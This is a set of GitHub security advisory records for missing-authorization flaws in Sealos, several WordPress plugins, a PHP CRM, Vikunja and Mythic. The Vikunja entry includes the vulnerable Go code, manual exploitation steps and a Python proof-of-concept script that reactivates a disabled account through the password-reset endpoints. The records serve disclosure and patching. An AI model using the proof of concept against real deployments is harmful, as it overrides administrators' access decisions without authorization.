CWE-862

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/labring/sealos"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-36815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-30T20:36:55Z",
    "nvd_published_at": "2023-07-03T18:15:09Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThere is a permission flaw in the Sealos billing system, which allows users to control the recharge resource account. sealos. io/v1/Payment, resulting in the ability to recharge any amount of 1 RMB.\n\n### Details\n\nThe reason is that sealos is in arrears. Egg pain, we can\u0027t create a terminal anymore. Let\u0027s charge for it:\n\nThen it was discovered that the charging interface had returned all resource information. Unfortunately, based on previous vulnerability experience, the namespace of this custom resource is still under the current user\u0027s control and may have permission to correct it.\n\n### PoC\ndisable by publish\n\n### Impact\n\n+ sealos public cloud user\n+ CWE-287 Improper Authentication",
  "id": "GHSA-vpxf-q44g-w34w",
  "modified": "2023-07-03T18:38:23Z",
  "published": "2023-06-30T20:36:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/labring/sealos/security/advisories/GHSA-vpxf-q44g-w34w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36815"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/labring/sealos"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sealos billing system permission control defect"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-9025"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-26T09:15:03Z",
    "severity": "MODERATE"
  },
  "details": "The Sight \u2013 Professional Image Gallery and Portfolio plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the \u0027handler_post_title\u0027 function in all versions up to, and including, 1.1.2. This makes it possible for unauthenticated attackers to expose private, pending, trashed, and draft post titles. Successful exploitation requires the Elementor plugin to be installed and activated.",
  "id": "GHSA-vpxh-qgmv-7643",
  "modified": "2024-10-01T15:32:03Z",
  "published": "2024-09-26T09:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9025"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3156405/sight"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f889342e-03fb-44eb-b5cb-acf115a526c3?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-32586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-13T15:15:12Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Thomas Michalak Soundcloud Is Gold allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Soundcloud Is Gold: from n/a through 2.5.1.",
  "id": "GHSA-vpxj-44mq-4f7v",
  "modified": "2026-04-28T21:35:23Z",
  "published": "2024-12-13T15:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32586"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/soundcloud-is-gold/vulnerability/wordpress-soundcloud-is-gold-plugin-2-5-1-broken-access-control?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-37872"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-19T14:15:12Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Woo WooCommerce Ship to Multiple Addresses.This issue affects WooCommerce Ship to Multiple Addresses: from n/a through 3.8.5.",
  "id": "GHSA-vq29-m49g-76x9",
  "modified": "2024-06-19T15:30:52Z",
  "published": "2024-06-19T15:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37872"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/woocommerce-shipping-multiple-addresses/wordpress-woocommerce-ship-to-multiple-addresses-plugin-3-8-5-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-15390"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-31T16:15:42Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw has been discovered in PHPGurukul Small CRM 4.0. This impacts an unknown function of the file /admin/edit-user.php. The manipulation results in missing authorization. It is possible to launch the attack remotely. The exploit has been released to the public and may be exploited.",
  "id": "GHSA-vq3f-wjq8-v437",
  "modified": "2025-12-31T18:30:23Z",
  "published": "2025-12-31T18:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15390"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rsecroot/Small-Customer-Relationship-Management-CRM-in-PHP/blob/main/Broken%20Access%20Control.md"
    },
    {
      "type": "WEB",
      "url": "https://phpgurukul.com"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.339151"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.339151"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.727430"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-10579"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-25T05:15:36Z",
    "severity": "MODERATE"
  },
  "details": "The BackWPup \u2013 WordPress Backup \u0026 Restore Plugin plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the \u0027backwpup_working\u0027 AJAX action in all versions up to, and including, 5.5.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve access to a back-up\u0027s filename while a backup is running. This information has little value on it\u0027s own, but could be used to aid in a brute force attack to retrieve back-up contents in limited environments (i.e. NGINX).",
  "id": "GHSA-vq3q-xwqw-cc8c",
  "modified": "2025-10-25T06:30:14Z",
  "published": "2025-10-25T06:30:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10579"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3381187%40backwpup%2Ftrunk\u0026old=3362645%40backwpup%2Ftrunk\u0026sfp_email=\u0026sfph_mail=#file23"
    },
    {
      "type": "WEB",
      "url": "https://research.cleantalk.org/cve-2025-10579"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1e9a1484-2000-47fa-9890-fa02eddabcd9?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T17:25:47Z",
    "nvd_published_at": "2026-03-24T15:16:35Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA flaw in Vikunja\u2019s password reset logic allows disabled users to regain access to their accounts. The `ResetPassword()` function sets the user\u2019s status to `StatusActive` after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through `/api/v1/user/password/token` and completing the reset via `/api/v1/user/password/reset`, a disabled user can reactivate their account and bypass administrator-imposed account disablement.\n\n#### Vulnerable Code Snippet\n\nIn `pkg/user/user_password_reset.go`, beginning at line 66:\n\n```go\n\t// Hash the password\n\tuser.Password, err = HashPassword(reset.NewPassword)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = removeTokens(s, user, TokenPasswordReset)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tuser.Status = StatusActive // \u003c--- VULNERABILITY: Unconditionally sets status to Active\n\t_, err = s.\n\t\tCols(\"password\", \"status\").\n\t\tWhere(\"id = ?\", user.ID).\n\t\tUpdate(user)\n\tif err != nil {\n\t\treturn\n\t}\n```\n\nThe code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an \"Email Confirmation Required\" state into an \"Active\" state. It completely ignores whether the user was placed in the `StatusDisabled` state by an administrator.\nAdditionally, in the token request function (`RequestUserPasswordResetTokenByEmail`), the system fetches the user via `GetUserWithEmail()` which does **not** filter out disabled users, allowing them to legally request the token in the first place.\n\n### PoC (Proof of Concept)\n\n#### Manual Exploitation Steps\n\n1. Create a standard user account in Vikunja.\n2. As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (`status = 2`).\n3. Attempt to log in as the disabled user to verify access is blocked (receives `HTTP 412: This account is disabled`).\n4. Without authenticating, send a `POST` request to `/api/v1/user/password/token` with the disabled user\u0027s email address.\n5. Retrieve the password reset token from the incoming email.\n6. Send a `POST` request to `/api/v1/user/password/reset` with the token and a new password.\n7. Log in using the new password. Observe that the login succeeds (`HTTP 200`) and the account has been maliciously reactivated.\n\n#### Automation PoC\n\n```python\nimport requests\nimport psycopg2\nimport time\nimport secrets\n\nAPI_URL = \"http://localhost:3456/api/v1\"\n\ndef main():\n    username = f\"testuser_{secrets.token_hex(4)}\"\n    email = f\"{username}@example.com\"\n    password = \"SuperSecretPassword123!\"\n    \n    print(\"[1] Registering user...\")\n    requests.post(f\"{API_URL}/register\", json={\"username\": username, \"email\": email, \"password\": password})\n    \n    print(\"[2] Admin disables account (Status = 2)...\")\n    conn = psycopg2.connect(host=\"localhost\", database=\"vikunja\", user=\"vikunja\", password=\"vikunja_password\")\n    cursor = conn.cursor()\n    cursor.execute(\"UPDATE users SET status = 2 WHERE username = %s;\", (username,))\n    conn.commit()\n    \n    print(\"[3] Verifying login is blocked...\")\n    res = requests.post(f\"{API_URL}/login\", json={\"username\": username, \"password\": password})\n    print(f\"Login response: {res.status_code} (Should be 412)\")\n    \n    print(\"[4] Attacker requests password reset...\")\n    requests.post(f\"{API_URL}/user/password/token\", json={\"email\": email})\n    \n    print(\"[5] Attacker grabs token from email/DB...\")\n    cursor.execute(\"SELECT id FROM users WHERE username = %s;\", (username,))\n    user_id = cursor.fetchone()[0]\n    cursor.execute(\"SELECT token FROM user_tokens WHERE user_id = %s AND kind = 1 ORDER BY created DESC LIMIT 1;\", (user_id,))\n    token = cursor.fetchone()[0]\n    \n    print(\"[6] Attacker submits reset, triggering bug...\")\n    new_password = \"HackedPassword123!\"\n    requests.post(f\"{API_URL}/user/password/reset\", json={\"token\": token, \"new_password\": new_password})\n    \n    print(\"[7] Attacker logs in successfully!\")\n    res = requests.post(f\"{API_URL}/login\", json={\"username\": username, \"password\": new_password})\n    print(f\"Final Login response: {res.status_code} (Should be 200)\")\n\n    cursor.execute(\"SELECT status FROM users WHERE username = %s;\", (username,))\n    print(f\"Final DB Status: {cursor.fetchone()[0]} (0 = Active)\")\n    conn.close()\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\n\n* **Authentication \u0026 Authorization Bypass:** An attacker can unilaterally reverse an administrative security decision.\n* **Integrity \u0026 Confidentiality Impact:**  The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.",
  "id": "GHSA-vq4q-79hh-q767",
  "modified": "2026-03-25T20:53:32Z",
  "published": "2026-03-20T17:25:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-vq4q-79hh-q767"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33316"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/049f4a6be46f9460bd516f489ef9f569574bc70d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/d8570c603da1f26635ce6048d6af85ede827abfb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja\u2019s Improper Access Control Enables Bypass of Administrator-Imposed Account Disablement "
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-57952"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-29T18:16:40Z",
    "severity": "MODERATE"
  },
  "details": "Mythic before 3.4.0.60 contains an authorization bypass vulnerability in four REST endpoints (c2profile_config_check_webhook, c2profile_redirect_rules_webhook, c2profile_get_ioc_webhook, c2profile_sample_message_webhook) that fail to verify payload ownership. An operator in one operation can invoke these endpoints with a known payload UUID from another operation to access that operation\u0027s C2 profile configuration including encryption keys and callback parameters.",
  "id": "GHSA-vq63-9qrm-qv35",
  "modified": "2026-06-29T18:31:56Z",
  "published": "2026-06-29T18:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57952"
    },
    {
      "type": "WEB",
      "url": "https://github.com/its-a-feature/Mythic/issues/564"
    },
    {
      "type": "WEB",
      "url": "https://github.com/its-a-feature/Mythic/commit/82648e8241b800a32e1882afc310e7316d98ebaa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/its-a-feature/Mythic/releases/tag/v3.4.0.60"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/mythic-unauthorized-c2-profile-configuration-access-via-unverified-payload-uuid"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-13439"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-15T12:15:30Z",
    "severity": "MODERATE"
  },
  "details": "The Team \u2013 Team Members Showcase Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the response() function in all versions up to, and including, 4.4.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin\u0027s settings.",
  "id": "GHSA-vq6r-22q3-83cv",
  "modified": "2025-02-15T12:30:50Z",
  "published": "2025-02-15T12:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13439"
    },
    {
      "type": "WEB",
      "url": "https://plugins.svn.wordpress.org/tlp-team/tags/4.4.7/app/Controllers/Admin/Ajax/Settings.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3239948/tlp-team/trunk/app/Controllers/Admin/Ajax/Settings.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3239948/tlp-team/trunk/app/Controllers/Admin/Ajax/Skill.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3239948%40tlp-team\u0026new=3239948%40tlp-team\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/46951d8d-f8f1-4fb5-b02a-1a19edd154e6?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-66163"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-16T09:15:58Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in merkulove Masker for Elementor masker-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Masker for Elementor: from n/a through \u003c= 1.1.4.",
  "id": "GHSA-vq83-vrqm-m2w4",
  "modified": "2026-01-20T15:32:15Z",
  "published": "2025-12-16T09:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66163"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/masker-elementor/vulnerability/wordpress-masker-for-elementor-plugin-1-1-4-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/masker-elementor/vulnerability/wordpress-masker-for-elementor-plugin-1-1-4-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}